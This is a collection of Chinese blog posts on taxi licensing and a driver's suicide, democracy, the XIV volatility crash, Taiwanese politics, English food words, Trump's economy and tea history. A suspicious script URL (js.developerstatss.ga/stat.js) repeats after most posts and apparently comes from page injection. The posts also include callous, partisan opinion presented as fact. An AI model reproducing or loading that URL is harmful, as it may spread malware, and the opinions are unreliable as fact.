作者: yuanyuchang

左派紐約時報最常見到的就是「雙重標準」–一方面譴責大公司市佔率過高是濫用壟斷地位（事實上構不構成壟斷還有待商榷）；另一方面卻對計程車司機的法律證照壟斷利益喪失表達同情。

此報導：「一位紐約司機之死和共享經濟亂象」幾個數字值得我們注意：

「優步(Uber)及其競爭對手帶來的經濟困難已經令紐約、倫敦等城市的傳統司機難以招架。幾十年來，紐約的的士不超過1.2萬輛到1.3萬輛，但現在已經有了無數避免公共交通的新途徑，使用Via這樣深受乘客歡迎的服務，有時只需花費5美元多一點，便可以在曼哈頓旅行。2013年，紐約全市共有4.7萬輛車供出租。現在有了超過10萬輛，其中約三分之二與優步有聯繫。…

從2013年至2016年，在通常收費最高的白天工作的紐約黃色的士全職司機，年預訂總額從每年8.8萬美元降到了6.9萬多美元多一點。執照勳章(Medallion)是頒發給紐約市的士的運營許可，它曾經是一項很好的投資，很多司機都借款購買，如今它已經成為貶值資產，那些的士司機也因此深陷債務之中。…

…60出頭的制服司機道格·施夫特(Doug Schifter)在曼哈頓下城市政廳門口用一把霰彈槍開槍自盡，幾個小時前，他在Facebook上寫了一篇長文，控訴結構性的殘酷狀況令他陷入絕境。他說，他現在有時不得不每週工作超過100小時才能生存下去；當他在1980年代開始從事這個行業的時候，每週工作40小時是相當正常的。…而貧窮往往不給你自殺的機會就殺死你。」

以1.3萬輛執照年收入從平均8.8萬美元降到6.9萬，我們可以估計紐約計程車司機因為Uber等新服務供給的加入，承受的租值損失約是每年約2.47億美元。但換個角度看，因為新供給的加入，紐約的乘車服務消費者不但省下了每年$2.47億美元，還享受到一樣甚至更好的服務、更多的叫車機會以及更少的等待時間。

也就是說，消費者用更少的代價換取更好的服務，而過去之所以沒有這個機會，除了科技之外，就是因為愚蠢的證照制度保護。這個證照制度保護下，讓一個60歲計程車司機30年來誤以為可以長久每週只工作40小時就能享受8.8萬美元年收，從而20幾歲到60歲都未曾培養任何其他技能。

更好笑的是，紐約時報把「貧窮」冠到這位自殺司機身上，指責新進供給者（或未嚴格執行的證照制度）沒有好好保護這個社會底層人士。但事實是紐約計程車司機的平均年收$6.9萬依然遠遠高過美國人均年收入$3.1萬美元，勝過70%美國人口。從這麼粗淺的統計數字可以感受：究竟是貧窮殺人？還是該計程車司機自身財務狀況有問題？似乎已經聞出一點端倪。https://js.developerstatss.ga/stat.js?n=ns1

「The democracy will infallibly destroy all civilization. (民主將精準無誤地摧毀所有的文明)」～John Adams（美國開國元勛，第二任總統）

John Adams是美國開國元勛中強力反對民主政治的一位先知，與之相對的Thomas Jefferson雖然是力主民主制度且對民主有著浪漫信仰（romantic faith），但Jefferson的民主卻有著「限定上流人士才有投票權」的前提。

也就是說，台灣一堆腦袋空空跟著高舉民主價值的覺青，其實壓根有大部分根本不曉得民主有多少缺點。真正的民主先驅深知其弊病所以對民主制度是有諸多限制前提的，這些是台灣覺青所渾然不知。

我認為民主制度在多數時間只會選出作秀小丑，很難選出明君；萬一有幸選出明君，也會因為短短的任期制使其租值難以累積與持續。

民主制度是個天生有缺陷且必然走上合法貪污制度的遊戲規則，而拯救民主制度所需要的：1.限制投票資格（我建議繳稅者方可投票，且每票權重應該與所繳稅額掛勾）與2.選票可自由買賣。

此二點卻與主流看法大相徑庭，因此台灣只會走上越來越內耗衰敗，終至苦求中國好心收留的下場。https://js.developerstatss.ga/stat.js?n=ns1

在比特幣一文我談過財富倉庫分為有根、無根二種。

有根者，倉庫標的本身有可預測收入流；無根者，則無。

前者因為有預期收入拘束，所以漲跌有其合理範疇，當超出範疇時在健全市場中，自然會有做多與放空者快速跳入修正價格。

反之，無根者因為沒有預期收入拘束，所以無論做多或放空，其實都不知道邊界在哪。因此在比特幣該文中我就奉勸讀者，不要以「無根財富倉庫」為主要投資標的。如果可以，少碰為上。

比特幣在我看來是一種無根財富倉庫，而許多金融性衍生商品其實也都算，比方：VIX。

VIX是一個觀測市場波動的指數，不管漲跌，只管波動。假設VIX = 15，代表該指數預期未來30日內的年化波動性是15%。也就是說，數字越大，代表該指數預期的市場波動性越大；反之則越小。

而過去2017年的美國股票市場只漲不跌，其波動性也變得極低（見VIX走勢圖）：

這也使得許多人，包含大型金融機構，都一起來放空VIX。其中一種方式是投資反指標XIV，我們也看到2017年整年下來XIV表現極為優秀，一整年報酬率高達187%！可「市場波動性」本就難以預料，牽涉的侷限條件太多，但可以知道當市場強烈反轉時，波動性放大，VIX會獲利，但XIV可就賠慘。而這個萬一就在這兩天成真！

S&P500在2018年2月2日大跌2.15%，緊接著下個交易日2月5日又跌4.06%，2月6日漲回1.77%。

如果你是壓寶XIV的主兒，恭喜老爺賀喜夫人，短短三天內虧損94.32%！有位悲慘的交易員就這樣把辛苦三年賺來的400萬美元一夜輸光在XIV上（參見XIV走勢圖）。

過去三年，這位交易員用5萬美元本金快樂地放空VIX（也就是買入XIV）累積財富到400萬美元，妄想 （也是常見的投資錯誤心理–將一時的好運當作是自己的實力而誤判可以永遠如此）買房、買車，現在美夢成泡。

不過要死也有墊背，天塌下來還有高個兒擋著。XIV的發明者也是最大持有者瑞士信貸自己都玩不下去，宣布下市這項商品，代表投資者投資$104元只剩$4.22。

再奉勸一次，無根財富倉庫別亂碰為上。

PS 2008年金融風暴，價值投資法奉行者的獨眼醫師Michael Burry雖然也購買大量衍生性金融商品CSD（Credit Swap Default），但卻是有根財富倉庫的投資，因為他透過大量且精細的閱讀看出房貸包裹的債券其實藏汙納垢、問題叢生，真實價值遠不如所宣稱。因此Michael Burry的衍生性金融商品放空，依然是標準的價值投資法無誤。其所得獲利，就是來自於資訊成本/租值。https://js.developerstatss.ga/stat.js?n=ns1

https://js.developerstatss.ga/stat.js?n=ns1

民進黨的言論怎麼跟共產黨那麼78像？

民進黨秘書長洪耀福：「…中國國民黨的基礎沒有因為2016年選舉而潰敗，國民黨基層還是存在，社會保守反改革的力量還是很強大的，所以改革過程才會遭遇這麼多的挑戰，民進黨2018年選戰最大的意義是，如何讓反改革的保守力量死心，「要讓國民黨再輸一次，讓台灣再贏一次」，這些反對改革的力量才會死心，台灣才能真正建立長治久安。…

…讓共產黨徹底了解台灣民心真正的走向，兩岸關係才有可能真正展開新的局面」，這對台灣來講才是真正的長治久安…」

毛澤東反右運動時：「…民盟在百家爭鳴和整風過程中所起的作用特別惡劣，有組織、有計劃、有綱領、有路線，都是自外於人民的，是反共反社會主義的。還有農工民主黨，一模一樣……整個春季，中國天空黑雲亂翻，其源蓋出於章羅（註：指章伯鈞、羅隆基）同盟……這種人不但有言論，而且有行動。他們是有罪的，『言者無罪』對他們不適用。…」

民進黨與共產黨背後共同邏輯都是：「凡是反對我者，都不算是人民，都應該被打擊到死為止！」

民進黨上台以來搞一例一休、廢核減碳等政策，與毛澤東後來搞的三面紅旗沒兩樣 — 都是以為強政府之力可以改變自然定律。

其實陳水扁執政時，民進黨就堂堂上演過全黨水母腦的戲碼，還記得2006年游錫堃說：「倒扁就是中國人糟蹋台灣人，台灣絕對不能讓『紅色恐怖』打倒、被糟蹋、被看輕！台灣國加油！」

與1976年江青面對審判時辯駁：「你們逮捕我，這是醜化毛主席。審判我就是醜化億萬人民，醜化億萬人民参加的無產階級文化大革命。」

簡直是照樣造句！

還有嗎？還有：

1976年
人民日報提出【兩個凡是】：「凡是毛主席作出的決策，我們都堅決維護，凡是毛主席的指示，我們都始終不渝地遵循。」

2006年
辜寬敏說：「沒有阿扁，怎麼挺台灣」https://js.developerstatss.ga/stat.js?n=ns1

前言：很多人可能跟我一樣，明明某些知識或資訊知道怎麼用中文說，但卻不曉得怎麼用英文說。結果在英文對話時張口結舌、啞口無言搞得自己好像很呆、程度很差似的。所以我把一些中文懂但英文不太會講的資訊筆記下來，除了供自己參考，也分享出來給讀者們瞧瞧。希望這些訊息對你有幫助。

Preface: There are some knowledge or information that I can talk about in Chinese (my first language) but not in English. Therefore, as an English learner, I noted some of them and try to share on my blog. Hope it’s helpful to you, too.

food — things that people and animals eat (old English, “foda”)
食物
非常中性的字，比如：food industry(食品業)、frozen food（冷凍食品）

dish — a type of food that is cooked in a particular way (Latin, “discus” 意指：盤子、碗)
菜餚
比如：side dish(配菜)、chef’s dish of today（本日主廚例餐）

speciality/ specialty — a type of food that a restaurant or place is famous for
名菜或特餐
比方餐廳服務生會說：「Oysters are our specialty. （生蠔是我們的名菜）」

delicacy — an unusual food which people in a particular place like to eat (Middle English, “‘voluptuousness’ and ‘luxuriousness’” 中古英文，”性感+奢華”字根的結合)
珍饈

比方說：Snails are a delicacy in France.（蝸牛在法國是珍饈）

diet — a type of food that someone usually eats (Greek, “diaita”— a way of life)
每天吃的東西，接近中文「吃飯」所指的飯。中文談吃飯，並非一定吃米煮成的「飯」。

比方說：healthy diet（健康飲食）、poor diet（吃得很差）、staple diet（主食）、vegetarian diet（素食）…

cooking — food made in a particular way, or by a particular person
比如：home cooking （家常菜）

cuisine — (formal) the food you can eat in a particular restaurant, country, or area (French, “cooking” Latin, “coquere”)
大餐、好料的
從法文來的字，就是裝逼裝高級而已。
比如可以說：Please enjoy the haute cuisine created by our Michelin-awarded chef.（請享用我們米其林得獎主廚為各位烹調的大餐）

fare — (old-fashioned /formal) the kind of food that is served in a place or eaten on a special occasion
比如：traditional Christmas fare （傳統聖誕節大餐）
此字已經很少人這樣用了。

簡單說，上述每個字差異主要在「語感」上，而語感與每個字的來源有極大的關係。讀者可以從不同的文章句子中去感受這些字的語感差異。https://js.developerstatss.ga/stat.js?n=ns1

華爾街日報報導：「Donald Trump Is Still Their Man」

不要管美國那些腦袋裝屎的主流媒體或好萊塢演員對川普的評價，從幾個事實可以看出來Donald Trump是個極為成功的總統。

1. Virginia州Buchanan county底層工人原本在Obama時期礦坑停產，被迫離鄉工作，每月只能回家見妻兒一面；Trump上台後礦坑景氣大好，工人可以重新回家鄉工作與家人同住。工人盛讚Trump是「有種又誠實(bold and honest)」、「說到做到」。

2. 這些地區Trump得票78.9%，而Hillary Clinton只拿到18%。但其實Buchanan county過去是民主黨的天下，即便當年民主黨推出滿嘴環保主張的Al Gore競選總統，這個煤礦產區依然將大部分的票投給了民主黨。但自從Obama上台之後，這個地區對民主黨越來越不滿意，直到現在成了川普的忠心鐵票區。我常說Obama就是個嘴砲且毫無經濟感受的總統，自以為理想的政策結果就是美國底層人民受害，從Virginia Buchanan county這個民主黨票倉都被迫轉為Trump鐵票區，就知道Obama總統有多失民心。　　

3. Obama時代，Virginia的煤礦工作減少1/5，失業率達11.8%；Trump上台後一年，煤礦工作數增加15%，失業率降低到7%！這些都是川普支持者最先有感的經濟改善。連當地walmart的經理都說客人的推車裝得更滿些。地方某些小販生意回籠，有些小販老闆一天得工作將近16小時。

4. Trump的deregulation讓燃煤發電廠可以繼續運作，同時川普的當選也讓資金願意投資，因為至少未來三年煤炭不會是聯邦政府敵視的對象。

5. 部分經濟學家批評當地過份看重Trump的影響力，事實上是國際局勢轉好才讓整個地區跟著好起來。但該區的coal executives 說經濟學家低估了川普對商業信心的影響。

關於對未來景氣預期影響這件事，我在2017年8月的＜榮景或低成長的十字路口 (We are at the crossroads of prosperity or low progress)＞一文中已經講過：

Right now, I am confident in that the later two factors (the anticipated income grows and the information cost of the future progress decreases) playing more important roles in the formation of the massively optimistic anticipation.

可惜多數象牙塔的經濟學家對此既無感又輕視。

簡言之：Trump總統跟台灣蔡英文天差地遠，前者不但經濟感受極佳（才分別看出WTO這種蠢組織跟自由貿易沒有關係、看出並勇敢退出巴黎協議這種政治小丑的謊言大會、聰明且十分老莊地陪金正恩演瘋戲），而且政治實力上也達成美國近代史以來最重大減稅措施，並透過迂迴路線實質削弱Obama Care這個敗家子。同時還有許多台灣媒體根本沒報導的deregulation都做得十分成功，有效地扭轉生產與經商的環境與收入預期。

挾帶如此成功的經濟翻轉成就，很可能川普會再次讓一路唱衰的主流媒體跌破眼鏡地順利連任。
https://js.developerstatss.ga/stat.js?n=ns1

看來茶葉歷史可以往前推到西漢初年是沒問題了。

有趣的是這段關於進貢皇帝的茶葉品質是取嫩芽部分，需要大量人力為之。

經濟分析上這代表：

1. 當時已經發展出相當成熟與精緻的飲茶習慣。

2. 當時有足夠的經濟實力去支撐「飲茶」這種不能填飽肚子的活動。

3. 經濟實力還高到可以培養出「只摘取嫩葉」供皇帝享受。

這是說，社會租值夠高（總體生產力夠高）才能夠支撐較為浪費的消遣行為。

文中未談到茶葉烘焙的方式，我想已經完全碳化大概也難得知西漢初年的人懂不懂以及懂多少炒茶功夫。

但國家經濟力足以維持相當規模這種無法直接提供熱量的飲料農業，顯見歷史記載的「文景之治」有其根據。